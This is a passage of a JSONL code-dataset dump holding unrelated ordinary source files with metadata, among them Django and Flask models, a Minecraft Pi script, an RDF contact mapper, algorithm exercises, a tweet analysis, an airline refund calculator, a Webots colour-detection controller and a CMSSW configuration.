1\n else:\n agent_action = np.argmax(phase_pressures) + 1\n action[agent_id] = agent_action\n self.prev_action = action\n \n return action\n\nscenario_dirs = [\n \"test\"\n]\n\nagent_specs = dict.fromkeys(scenario_dirs, None)\nfor i, k in enumerate(scenario_dirs):\n # initialize an AgentSpec instance with configuration\n agent_specs[k] = TestAgent()\n\n","sub_path":"agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":5377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"386596343","text":"#!/usr/bin/env python\n\nfrom distutils.core import setup\n\n\nVERSION=\"0.4.0\"\n\nsetup(\n name = 'cattleprod',\n packages = ['cattleprod'],\n version = VERSION,\n description = 'A quickly constructed interface to the Rancher API (http://rancher.com)',\n author = 'Axel Bock',\n author_email = 'mr.axel.bock@gmail.com',\n url = 'https://github.com/flypenguin/python-cattleprod',\n download_url = 'https://github.com/flypenguin/python-cattleprod/tarball/{}'.format(VERSION),\n keywords = ['rancher', 'api'],\n classifiers = [\n \"License :: OSI Approved :: MIT License\",\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: System Administrators\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Operating System :: POSIX\",\n \"Operating System :: MacOS\",\n \"Topic :: System :: Systems Administration\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"172121676","text":"import json\n\nfrom app import dh\nfrom app.portal.models import SettingModel\n\n\n# 读取设定数据\ndef load_setting(key: str):\n item = SettingModel.query.filter_by(key=key).first() # type: SettingModel\n if item is not None:\n return json.loads(item.value)\n\n return None\n\n\n# 保存设定数据\ndef save_setting(key: str, value):\n item = SettingModel.query.filter_by(key=key).first() # type: SettingModel\n if item is None:\n item = SettingModel(key=key)\n\n item.value = json.dumps(value, ensure_ascii=False)\n\n dh.session.add(item)\n dh.session.commit()\n\n return False\n","sub_path":"FlaskChapter7/app/portal/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"3030726","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\n\nclass Post(models.Model):\n\tname = models.CharField(max_length=80)\n\tdescription = models.TextField()\n\tdate = models.DateTimeField()\n\timage = models.FileField(null=True, blank=True)\n\towner = models.ForeignKey(User, on_delete=models.CASCADE)\n\n\tdef __str__(self):\n\t\treturn self.name\n","sub_path":"blog_post/blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"196974333","text":"from django.core.management.base import BaseCommand\nfrom web_app.models import Table\nimport sys\nimport os\n\nsys.path.append(os.getcwd())\nfrom scrape.src import crawl\n\n\nclass Command(BaseCommand):\n \"\"\"internのwebサイトからデータを取得して、データベースに挿入するコマンド\n\n \"\"\"\n\n def _crawl(self):\n \"\"\"データベースにデータを挿入する関数\n\n :return:\n \"\"\"\n for cate_name, title, content in crawl.crawler():\n q = Table(category=cate_name, title=title, content=content)\n q.save()\n\n def _insert_crawled_data(self):\n \"\"\"データベースを空にしてクローリングしたデータを入れる関数\n\n :return:\n \"\"\"\n\n if Table.objects.all():\n print(\"データベースにデータがあります。\\nデータを削除をして良いですか?\")\n while True:\n print(\"(y/n)>>\")\n answer = input()\n if answer == \"y\":\n print(\"データ挿入を開始\")\n Table.objects.all().delete()\n self._crawl()\n break\n elif answer == \"n\":\n print(\"データ挿入を中止\")\n break\n else:\n print(\"値が正確ではありません。\")\n else:\n print(\"データ挿入を開始\")\n self._crawl()\n\n def handle(self, *args, **options):\n self._insert_crawled_data()\n","sub_path":"web_app/management/commands/command_insert_crawled_data.py","file_name":"command_insert_crawled_data.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"467044895","text":"from mcpi.minecraft import Minecraft\nfrom mcpi import block\nfrom time import sleep\nqblock = 5\ndef init():\n\tmc = Minecraft.create(\"127.0.0.1\",4711)\n\tx, y, z = mc.player.getPos()\n\treturn mc\n\t\ndef wall1(mc,x,y,z):\n\tmc.setBlocks(x,y,z,x,y,z,qblock)\n\n\ndef main():\n\tmc = init()\n\tx, y, z = mc.player.getPos()\n\twall1(mc,x,y,z+8)\t\nmain()\n","sub_path":"python-2017/Minecraft-Pi-Python/PiM_DC/MinecraftPi/PiM_DC/Template.py","file_name":"Template.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"212923356","text":"import pandas as pd\nimport numpy as np\nfrom datetime import datetime\nfrom rdflib import Graph, Literal, URIRef\nfrom rdflib.namespace import FOAF , XSD, DC, FOAF, SKOS, RDF, RDFS\n\nimport cleansing.contact as cls_contact\nfrom helper.functions import add_literal, concept_uri, export_data, export_df, exists_contact_cont, get_cleansed_data\nimport helper.namespaces as ns\n\ndef main(file, mode):\n contact_cleansed = get_cleansed_data(file, 'contact')\n\n g = Graph()\n\n for _, row in contact_cleansed.iterrows():\n abb_id, abb_uuid = concept_uri(ns.lblod + 'persoon/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']))\n\n g.add((abb_id, RDF.type, ns.person.Person))\n add_literal(g, abb_id, ns.mu.uuid, abb_uuid, XSD.string)\n add_literal(g, abb_id, FOAF.familyName, str(row['Familienaam Contact Cleansed']), XSD.string)\n add_literal(g, abb_id, ns.persoon.gebruikteVoornaam, str(row['Voornaam Contact Cleansed']), XSD.string)\n\n if exists_contact_cont(row):\n site_id, site_uuid = concept_uri(ns.lblod + 'vesting/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']))\n g.add((site_id, RDF.type, ns.org.Site))\n add_literal(g, site_id, ns.mu.uuid, site_uuid, XSD.string)\n\n contact_id, contact_uuid = concept_uri(ns.lblod + 'contactpunt/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']) + '1')\n g.add((contact_id, RDF.type, ns.schema.ContactPoint))\n add_literal(g, contact_id, ns.mu.uuid, contact_uuid, XSD.string)\n\n add_literal(g, contact_id, ns.schema.email, str(row['Titel Cleansed']), XSD.string)\n add_literal(g, contact_id, ns.schema.email, str(row['Mail nr2 Cleansed']), XSD.string)\n add_literal(g, contact_id, ns.schema.telephone, str(row['Telefoonnr Contact 1']), XSD.string) \n g.add((site_id, ns.schema.siteAddress, contact_id))\n\n if str(row['Telefoonnr Contact 2']) != str(np.nan):\n contact_tel2_id, contact_tel2_uuid = concept_uri(ns.lblod + 'contactpunt/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']) + str(row['Telefoonnr Contact 2']))\n g.add((contact_tel2_id, RDF.type, ns.schema.ContactPoint))\n add_literal(g, contact_tel2_id, ns.mu.uuid, contact_tel2_uuid, XSD.string)\n\n add_literal(g, contact_tel2_id, ns.schema.telephone, str(row['Telefoonnr Contact 2']), XSD.string) \n g.add((site_id, ns.schema.siteAddress, contact_tel2_id))\n\n if str(row['GSMnr Contact Cleansed']) != str(np.nan):\n contact_gsm_id, contact_gsm_uuid = concept_uri(ns.lblod + 'contactpunt/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']) + str(row['GSMnr Contact Cleansed']))\n g.add((contact_gsm_id, RDF.type, ns.schema.ContactPoint))\n add_literal(g, contact_gsm_id, ns.mu.uuid, contact_gsm_uuid, XSD.string)\n\n add_literal(g, contact_gsm_id, ns.schema.telephone, str(row['GSMnr Contact Cleansed']), XSD.string) \n g.add((site_id, ns.schema.siteAddress, contact_gsm_id))\n \n g.add((abb_id, ns.org.basedAt, site_id))\n \n if str(row['Id']) != str(np.nan):\n attr_id, _ = concept_uri(ns.lblod + 'gestructureerdeIdentificator/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']))\n g.add((attr_id, RDF.type, ns.generiek.GestructureerdeIdentificator))\n add_literal(g, attr_id, ns.generiek.lokaleIdentificator, str(row['Id']), XSD.string)\n\n g.add((abb_id, ns.generiek.gestructureerdeIdentificator, attr_id))\n\n org_id, _ = concept_uri(ns.lblod + 'organisatie/', str(row['organisation_id']))\n if (str(row['Decretale functie Cleansed']) == str(np.nan)) and (str(row['Functietitel Cleansed']) != str(np.nan)):\n position_id, _ = concept_uri(ns.lblod + 'hoedanigheid/', str(row['organisation_id']) + str(row['Functietitel Cleansed']))\n g.add((position_id, RDF.type, ns.organisatie.Hoedanigheid))\n\n # TODO: Map Functietitel properly\n role_id, _ = concept_uri(ns.lblod + 'rol/', str(row['Functietitel Cleansed']))\n g.add((role_id, RDF.type, ns.org.Role))\n add_literal(g, role_id, RDFS.label, str(row['Functietitel Cleansed']), XSD.string)\n\n g.add((position_id, ns.org.role, role_id))\n\n g.add((position_id, ns.org.postIn, org_id))\n g.add((org_id, ns.org.hasPost, position_id))\n\n g.add((abb_id, ns.org.holds, position_id))\n g.add((position_id, ns.org.heldBy, abb_id))\n elif str(row['Decretale functie Cleansed']) != str(np.nan):\n # Bestuur temporary\n bestuur_temporary, bestuur_uuid = concept_uri(ns.lblod + 'bestuursorgaan/', str(row['organisation_id']) + str(datetime.now()))\n g.add((bestuur_temporary, RDF.type, ns.besluit.Bestuursorgaan))\n add_literal(g, bestuur_temporary, ns.mu.uuid, bestuur_uuid, XSD.string)\n g.add((bestuur_temporary, ns.generiek.isTijdspecialisatieVan, org_id))\n\n ## Functionaris\n person_functionaris, _ = concept_uri(ns.lblod + 'functionaris/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']) + str(row['organisation_id']) + str(row['Decretale functie Cleansed'].lower().replace(\" \", \"\")))\n g.add((person_functionaris, RDF.type, ns.lblodlg.Functionaris))\n g.add((person_functionaris, ns.mandaat.isBestuurlijkeAliasVan, abb_id))\n #start\n #einde\n #status ~ cf loket lokale besturen PoC https://poc-form-builder.relance.s.redpencil.io/codelijsten\n # https://data.vlaanderen.be/id/conceptscheme/MandatarisStatusCode\n g.add((person_functionaris, ns.mandaat.status, ns.functionaris_status[row['Functionaris status']]))\n g.add((abb_id, ns.mandaat.isAangesteldAls, person_functionaris))\n\n # https://data.vlaanderen.be/doc/conceptscheme/BestuursfunctieCode\n ## Bestuuursfunctie\n person_bestuursfunctie, person_bestuursfunctie_uuid = concept_uri(ns.lblod + 'bestuursfunctie/', str(row['Voornaam Contact Cleansed']) + str(row['Familienaam Contact Cleansed']) + str(row['organisation_id']))\n g.add((person_bestuursfunctie, RDF.type, ns.lblodlg.Bestuursfunctie))\n add_literal(g, person_bestuursfunctie, ns.mu.uuid, person_bestuursfunctie_uuid, XSD.string)\n\n g.add((person_bestuursfunctie, ns.org.role, ns.bestursfunctie_code[row['Decretale functie Cleansed']]))\n g.add((person_bestuursfunctie, ns.org.heldBy, person_functionaris))\n g.add((person_functionaris, ns.org.holds, person_bestuursfunctie))\n\n g.add((bestuur_temporary, ns.org.hasPost, person_bestuursfunctie))\n g.add((person_bestuursfunctie, ns.org.postIn, bestuur_temporary))\n\n\n export_data(g, f'contact-{mode}')","sub_path":"mapping/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":6642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"421361062","text":"from django.db import models\nfrom cases_app.models import Cases\nfrom donors_app.models import Donors\n\n# Create your models here.\nclass Donations(models.Model):\n donor_name = models.ForeignKey(Donors, on_delete=models.SET_NULL, null=True)\n case_name = models.ForeignKey(Cases, on_delete=models.SET_NULL, null=True, related_name='donation_cases')\n donation_amount = models.PositiveIntegerField()\n paid_flag = models.BooleanField()\n\n def __str__(self):\n return self.case_name.case_name + ' / ' + str(self.donation_amount)\n\n","sub_path":"charity_project/charity/donations_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"346803325","text":"# Create a SQLite3 database and table\n\nimport sqlite3\n\nconn = sqlite3.connect(\"new.db\") # creates new database\n#conn = sqlite3.connect(\":memory:\") # would create a memory-only database (not persisted)\n\ncursor = conn.cursor() # creates cursor object to execute SQL commands\n\ncursor.execute(\"\"\"INSERT INTO population VALUES('New York City','NY',8200000)\"\"\") # insert data into table\ncursor.execute(\"\"\"INSERT INTO population VALUES('San Francisco','CA',800000)\"\"\")\n\nconn.commit() # commit changes to database\n\nconn.close() # close database connection\n\n\n\n","sub_path":"sqlb.py","file_name":"sqlb.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"470360011","text":"def mergeInBetween(self, list1: ListNode, a: int, b: int, list2: ListNode) -> ListNode:\n ''' basic linked list, get to a certain vertex and continue on\n '''\n \n # set dummy and actual movement\n dummy = final = ListNode(-1)\n \n final.next = list1\n \n # go to a\n for _ in range(a):\n final = final.next\n \n temp = final.next\n final.next = list2\n \n # go past list 2\n while final.next is not None:\n final = final.next\n \n for _ in range(b-a+1):\n temp = temp.next\n \n \n # add rest of list 1\n final.next = temp\n return dummy.next","sub_path":"mergeinbetweenlinkedlist.py","file_name":"mergeinbetweenlinkedlist.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"527805115","text":"\"\"\"\nProgrammer: Chris Tralie / IDS 301 Class\nPurpose: To load in Trump's tweets since 11/1/2016, and\n to do some data wrangling on them\n\"\"\"\n\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\n# A dictionary for converting from the 3 letter months\n# that Twitter gives back to a 2-digit month string\nMONTHS = {'Jan':'01', 'Feb':'02', 'Mar':'03', 'Apr':'04', 'May':'05', 'Jun':'06', 'Jul':'07', 'Aug':'08', 'Sep':'09', 'Oct':'10', 'Nov':'11', 'Dec':'12'}\n\n\ndef get_devices(tweets):\n \"\"\"\n Print out a dictionary which counts how many tweets \n Trump made on each different type of device\n Parameters\n ----------\n tweets: list of dictionary\n A list of tweets, each of which is a dictionary\n \"\"\"\n devices = {} # The dictionary will hold \"device name\":counts\n for tweet in tweets: # This is one way to loop through a list\n device = tweet['source']\n # If the device hasn't been seen yet, we need to make\n # A key for it in the dictionary\n if not (device in devices):\n devices[device] = 0 # Set the initial count to be zero\n devices[device] += 1 # Add one to the counts for this device\n print(devices)\n\ndef get_most_favorited(tweets):\n \"\"\"\n Print out the tweet with the maximum number of retweets\n Parameters\n ----------\n tweets: list of dictionary\n A list of tweets, each of which is a dictionary\n \"\"\"\n # First, we setup a parallel numpy array with the same\n # number of elements as there are tweets\n counts = np.zeros(len(tweets))\n # Then, this loop fills the list with the retweet counts\n for i, tweet in enumerate(tweets):\n counts[i] = tweet['retweet_count']\n # Finally, we can use the nifty \"argmax\" function in\n # numpy to pull out the index with the maximum counts\n max_index = np.argmax(counts)\n # We then use this index back in the original tweets list\n # to print out the tweet with the maximum counts\n print(tweets[max_index])\n\ndef get_tweet_date(tweet):\n \"\"\"\n Return a date in Year/MM/DD format, which ensures\n that sorting by the string will sort the tweets in\n alphabetical order\n Parameters\n ----------\n tweet: dictionary\n The tweet dictionary\n Returns\n -------\n day: Year/MM/DD string\n \"\"\"\n date = tweet['created_at']\n # Separate out date into components in a list\n # Each element is a different component separated\n # by a space\n fields = date.split() \n # The year is the last field\n year = fields[-1]\n # Use the dictionary defined at the top of the file\n # to convert from a three letter month to a two digit month\n month = MONTHS[fields[1]] \n # This magic code formats a day to be 2 digits, potentially\n # with a leading zero\n day = \"%02d\"%int(fields[2]) \n return year + \"/\" + month + \"/\" + day\n\n\ntweets = pickle.load(open(\"trumpSinceElection.dat\", \"rb\"))\nget_devices(tweets)\nget_most_favorited(tweets)\nprint(get_tweet_date(tweets[0]))","sub_path":"Twitter.py","file_name":"Twitter.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"113604278","text":"'''\n 11404 플로이드\n 알고리즘:\n 1. 플로이드 알고리즘 사용\n 2. 한 도시에서 다른 도시로 가는 노선이 여러개인 경우, 최솟값을 넣어서 최단거리가 될 수 있도록 한다\n'''\nimport sys\nn = int(input())\nm = int(input())\nINF = int(1e9)\ngraph = [[INF]*(n+1) for i in range(n+1)]\n\nfor i in range(1, n+1):\n for j in range(1, n+1):\n if i == j: # 시작 도시와 도착 도시가 같은 경우는 없다는 조건\n graph[i][j] = 0\n\nfor i in range(m):\n a, b, c = map(int, sys.stdin.readline().split())\n graph[a][b] = min(graph[a][b], c) # 도시로 가는 노선이 여러개라면, 최단거리를 가기 위해서는 최솟값이 들어가야한다\n \n# 플로이드 알고리즘\nfor k in range(1, n+1):\n for i in range(1, n+1):\n for j in range(1, n+1):\n graph[i][j] = min(graph[i][j], graph[i][k]+graph[k][j])\n\n# 결과 출력\nfor i in range(1, n+1):\n for j in range(1, n+1):\n if graph[i][j] == INF: # 갈 수 없는 경우 0 출력\n print(0, end = ' ')\n else:\n print(graph[i][j], end = ' ')\n print()","sub_path":"11404.py","file_name":"11404.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"335483293","text":"from converter import Converter\nfrom validator import Validator\n\nclass Uzbekistan:\n\n\tdef __init__(self, data):\n\t\tself.name = 'Uzbekistan Airways'\n\n\t\tself.totalFare = int(data['totalFare'])\t\t# total fare ok booking\n\t\tself.baseFare = int(data['baseFare'])\t\t# base fare of booking\n\t\tself.rules = data['rules']\t\t\t\t\t# text of fare rules\n\t\tself.taxes = data['taxes']\t\t\t\t\t# array of pairs type of taxe and its amount\n\t\tself.now = data['dates'][0]\t\t\t\t\t# current date\n\t\tself.depDate = data['dates'][1]\t\t\t\t# departure date\n\t\tself.currency = data['currencies']\n\n\t\tself.charge = ''\n\t\tself.charge_cur = ''\n\t\tself.percent = False\n\t\tself.penalty = ''\n\n\t\t# print('Total fare is ' + str(self.totalFare))\n\t\t# print('Base fare is ' + str(self.baseFare))\n\t\t# print('Taxes are ' + str(self.taxes))\n\t\t# print('Departure date is ' + str(self.depDate))\n\t\t# print(self.currency)\n\n\t\t# print(self.rules)\n\n\t\tself.dom = True\n\n\t\tself.__set_values()\n\n\t\t# print('Fare rules is ' + str(self.rules))\n\n\t\tself.non_ref = []\t\t\t\t# array of nonrefundable taxes` types\n\n\tdef calculate(self):\n\t\tc = Converter()\n\n\t\t# print(c.currencies())\n\n\t\tif self.__check_status():\n\n\t\t\tif self.charge != '' and self.charge_cur != '':\n\t\t\t\t# print(self.charge_cur)\n\t\t\t\t# print(self.charge)\n\t\t\t\t# print(self.currency)\n\n\t\t\t\tself.penalty = c.calc(self.charge_cur, float(self.charge), self.currency)\n\n\t\t\t\t# print(self.penalty)\n\t\t\t\t\n\t\t\telif self.charge != '' and self.percent:\n\t\t\t\tself.penalty = round(self.baseFare * self.percent / 100)\n\n\t\t\t# print(self.penalty)\n\n\t\t\tself.non_ref_tax, self.ref_tax = self.__calc_taxes()\n\n\t\t\tself.total = self.totalFare - self.penalty - self.non_ref_tax\n\n\t\t\tdata = self.__get_data()\n\n\t\t\treturn data\n\n\tdef __get_data(self):\n\t\tdata = {}\n\n\t\tdata['non_refundable taxes'] = self.non_ref\n\t\tdata['penalty'] = self.penalty\n\n\t\tdata['refunded_fare'] = self.baseFare - self.penalty\n\t\tdata['refunded_taxes'] = self.ref_tax\n\t\tdata['refunded_total'] = self.total\n\t\tdata['name'] = self.name\n\n\t\treturn data\n\n\tdef __calc_taxes(self):\t\t\t# get nonrefundable taxes\n\t\tnon_ref = 0\n\t\tref = 0\n\n\t\tfor tax in self.taxes:\n\t\t\tif tax['Type'] in self.non_ref:\n\t\t\t\tnon_ref += int(tax['Amount'])\n\n\t\t\telse:\n\t\t\t\tref += int(tax['Amount'])\n\n\t\treturn non_ref, ref\n\n\tdef __check_status(self):\t\t# check status of flight\n\t\treturn self.now < self.depDate\n\n\tdef __set_values(self):\n\t\tv = Validator()\n\n\t\tps = self.rules.split('\\n\\n')\n\n\t\t# print(ps)\n\n\t\tif 'BETWEEN' in ps[0] and 'UZBEKISTAN' in ps[0]:\n\t\t\tself.dom = False\n\t\n\t\tfor p in ps:\n\t\t\t\n\t\t\tp = p.replace('\\n', ' ').replace(' ', ' ')\n\t\t\t# print(p)\n\t\t\t# print()\n\t\t\tif self.dom:\n\t\t\t\tif 'REFUND' in p and 'CANCELLATION' in p and 'CHANGES' not in p:\n\t\t\t\t\tqwe = p.split('.')\n\n\t\t\t\t\tfor qw in qwe:\n\t\t\t\t\t\tif 'REFUND' in qw and 'CHARGE' in qw:\n\t\t\t\t\t\t\tfor i in range(len(qw)):\n\t\t\t\t\t\t\t\tif v.is_number(qw[i]):\n\t\t\t\t\t\t\t\t\tself.charge = qw[i]\n\n\t\t\t\t\t\t\t\t\tif v.is_percent(qw[i+1]):\n\t\t\t\t\t\t\t\t\t\tself.percent = True\n\n\t\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t\tif v.is_percent(qw[i]):\n\t\t\t\t\t\t\t\t\tself.percent = True\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t# print(self.charge, '%')\n\n\t\t\t\t\tbreak\n\n\n\t\t\telse:\n\t\t\t\tif 'CANCELLATIONS PERMITTED' in p and 'BEFORE DEPARTURE' in p and 'REFUND' in p:\n\t\t\t\t\t# print(p)\n\t\t\t\t\t# print(len(p))\n\t\t\t\t\t\n\t\t\t\t\ts = list(p)\n\n\t\t\t\t\tfor i in range(1, len(s) - 1):\n\t\t\t\t\t\tif s[i] == '.' and not v.is_number(s[i-1]) and not v.is_number(s[i+1]):\n\t\t\t\t\t\t\ts[i] = ''\n\n\t\t\t\t\tp = ''.join(s)\n\n\t\t\t\t\tqwe = p.split(' ')\n\n\t\t\t\t\ti = qwe.index('CHARGE')\n\n\t\t\t\t\tif v.is_currency(qwe[i+1]):\n\t\t\t\t\t\tself.charge_cur = qwe[i+1]\n\n\t\t\t\t\t\tif v.is_number(qwe[i+2]):\n\t\t\t\t\t\t\tself.charge = qwe[i+2]\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfor qw in qwe:\n\t\t\t\t\t\t\t\tif v.is_number(qw):\n\t\t\t\t\t\t\t\t\tself.charge = qwe[i+1]\n\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\tprint(self.charge, self.charge_cur)\n\n\t\t\t\t\tbreak\n\n\tdef __split_all(self, p):\n\t\tqwe = []\n\n\t\twordsss = p.split('\\n')\n\n\t\tfor wordss in wordsss:\n\n\t\t\twords = wordss.split(' ')\n\n\t\t\tfor word in words:\n\t\t\t\tif not self.__is_number(word):\n\t\t\t\t\tword = word.replace('.', '')\n\t\t\t\tqwe.append(word)\n\n\t\treturn qwe","sub_path":"uzbekistan.py","file_name":"uzbekistan.py","file_ext":"py","file_size_in_byte":3916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"259614559","text":"from controller import Robot, Camera\nimport cv2 as cv\nimport numpy as np\n#from time import sleep\n\nrobot = Robot()\ntimestep = int(robot.getBasicTimeStep())\n\ncamera1 = robot.getDevice(\"camera1\")\ncamera1.enable(timestep)\ncamera2 = robot.getDevice(\"camera2\")\ncamera2.enable(timestep)\nflag = True\n\ndef empty(a):\n pass\n\ndef vconcat_different_size_images(im_list, interpolation=cv.INTER_CUBIC):\n w_min = min(im.shape[1] for im in im_list)\n im_list_resize = [cv.resize(im, (w_min, int(im.shape[0] * w_min / im.shape[1])), interpolation=interpolation)\n for im in im_list]\n return cv.vconcat(im_list_resize)\n\ncv.namedWindow(\"trackBars\")\ncv.resizeWindow(\"trackBars\", 640,240)\ncv.createTrackbar(\"hue mini\", \"trackBars\", 51, 255, empty),\ncv.createTrackbar(\"hue max\", \"trackBars\", 96, 255, empty),\ncv.createTrackbar(\"saturation mini\", \"trackBars\", 0, 255, empty),\ncv.createTrackbar(\"saturation max\", \"trackBars\", 224, 255, empty),\ncv.createTrackbar(\"min value\", \"trackBars\", 127 , 255, empty),\ncv.createTrackbar(\"max value\", \"trackBars\", 255, 255, empty),\n\n\n\nwhile robot.step(timestep) != -1:\n image1 = camera1.getImage()\n image1 = np.frombuffer(image1, np.uint8).reshape((camera1.getHeight(), camera1.getWidth(), 4))\n image1 = np.array(image1 ,dtype=np.uint8)\n \n image2 = camera2.getImage()\n image2 = np.frombuffer(image2, np.uint8).reshape((camera2.getHeight(), camera2.getWidth(), 4))\n image2 = np.array(image2 ,dtype=np.uint8)\n \n hsv_image1 = cv.cvtColor(image1, cv.COLOR_BGRA2BGR)\n hsv_image2 = cv.cvtColor(image2, cv.COLOR_BGRA2BGR)\n hue_min=cv.getTrackbarPos(\"hue mini\", \"trackBars\")\n hue_max=cv.getTrackbarPos(\"hue max\", \"trackBars\")\n\n saturation_min=cv.getTrackbarPos(\"saturation mini\", \"trackBars\")\n saturation_max=cv.getTrackbarPos(\"saturation max\", \"trackBars\")\n \n min_value=cv.getTrackbarPos(\"min value\", \"trackBars\")\n max_value=cv.getTrackbarPos(\"max value\", \"trackBars\")\n\n #print(f\"The min hue is -> {hue_min}\\tThe max hue is -> {hue_max}\\tThe min saturation is -> {saturation_min}\\tThe max saturation is -> {saturation_max}\\tThe min value is -> {min_value}\\tThe max value is -> {max_value}\")\n\n lower = np.array([hue_min, saturation_min, min_value])\n upper = np.array([hue_max, saturation_max, max_value])\n \n mask1 = cv.inRange(hsv_image1, lower, upper)\n mask2 = cv.inRange(hsv_image2, lower, upper)\n imgResult1 = cv.bitwise_and(image1, image1, mask=mask1)\n imgResult2 = cv.bitwise_and(image2, image2, mask=mask2)\n \n\n both_mask_images = cv.hconcat([mask1, mask2])\n both_final_results = cv.hconcat([imgResult1, imgResult2])\n rows_list = [both_mask_images, both_final_results]\n \n\n cv.imshow(\"Camera panel masks\", both_mask_images)\n cv.imshow(\"Camera panel final results\", both_final_results)\n \n gridOfValues = both_mask_images\n for i in gridOfValues:\n for a in i:\n if a == 255:\n if flag == True:\n print(\"I spot something...\")\n flag=False\n else:\n pass\n\n cv.waitKey(1)","sub_path":"Alumnos/Maximo_Cansino/color_detection_simulationV3.py","file_name":"color_detection_simulationV3.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"117756263","text":"import FWCore.ParameterSet.Config as cms\n\nfrom PhysicsTools.PatAlgos.tools.helpers import getPatAlgosToolsTask\n\nprocess = cms.Process(\"bphAnalysis\")\n\npatAlgosToolsTask = getPatAlgosToolsTask(process)\n\n#process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1000) )\n\nprocess.load(\"Configuration.Geometry.GeometryRecoDB_cff\")\nprocess.load(\"Configuration.StandardSequences.MagneticField_cff\")\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load('SimGeneral.HepPDTESSource.pythiapdt_cfi')\nprocess.load('FWCore.MessageService.MessageLogger_cfi')\nprocess.load('Configuration.EventContent.EventContent_cff')\nprocess.load('Configuration.StandardSequences.GeometryRecoDB_cff')\nprocess.load('Configuration.StandardSequences.MagneticField_AutoFromDBCurrent_cff')\nprocess.load('Configuration.StandardSequences.EndOfProcess_cff')\npatAlgosToolsTask.add(process.MEtoEDMConverter)\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')\nprocess.load(\"TrackingTools/TransientTrack/TransientTrackBuilder_cfi\")\n\nprocess.CandidateSelectedTracks = cms.EDProducer( \"ConcreteChargedCandidateProducer\",\n src=cms.InputTag(\"oniaSelectedTracks::RECO\"),\n particleType=cms.string('pi+')\n)\npatAlgosToolsTask.add(process.CandidateSelectedTracks)\n\n\nfrom PhysicsTools.PatAlgos.producersLayer1.genericParticleProducer_cfi import patGenericParticles\nprocess.patSelectedTracks = patGenericParticles.clone(src=cms.InputTag(\"CandidateSelectedTracks\"))\npatAlgosToolsTask.add(process.patSelectedTracks)\n\n\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 100\nprocess.options = cms.untracked.PSet( wantSummary = cms.untracked.bool(True) )\n\nprocess.source = cms.Source(\"PoolSource\",fileNames = cms.untracked.vstring(\n#\n### use this to access the nearest copy of the input file, querying the catalog\n#\n '/store/data/Run2016E/Charmonium/USER/BPHSkim-PromptReco-v2/000/276/831/00000/00FD1519-714D-E611-B686-FA163E321AE0.root'\n### use this to access the input file if by any reason you want to specify \n### the data server\n# 'root://xrootd-cms.infn.it//store/data/Run2016E/Charmonium/USER/BPHSkim-PromptReco-v2/000/276/831/00000/00FD1519-714D-E611-B686-FA163E321AE0.root'\n#\n### use this to access an input file locally available\n# 'file:/...complete_file_path.../XXXX.root'\n))\n\nfrom Configuration.AlCa.GlobalTag import GlobalTag\nprocess.GlobalTag = GlobalTag(process.GlobalTag, 'auto:run2_data', '')\n\nprocess.testBPHSpecificDecay = cms.EDAnalyzer('TestBPHSpecificDecay',\n gpCandsLabel = cms.string('patSelectedTracks'),\n ccCandsLabel = cms.string('onia2MuMuPAT::RECO'),\n outDump = cms.string('dump_skim.txt'),\n outHist = 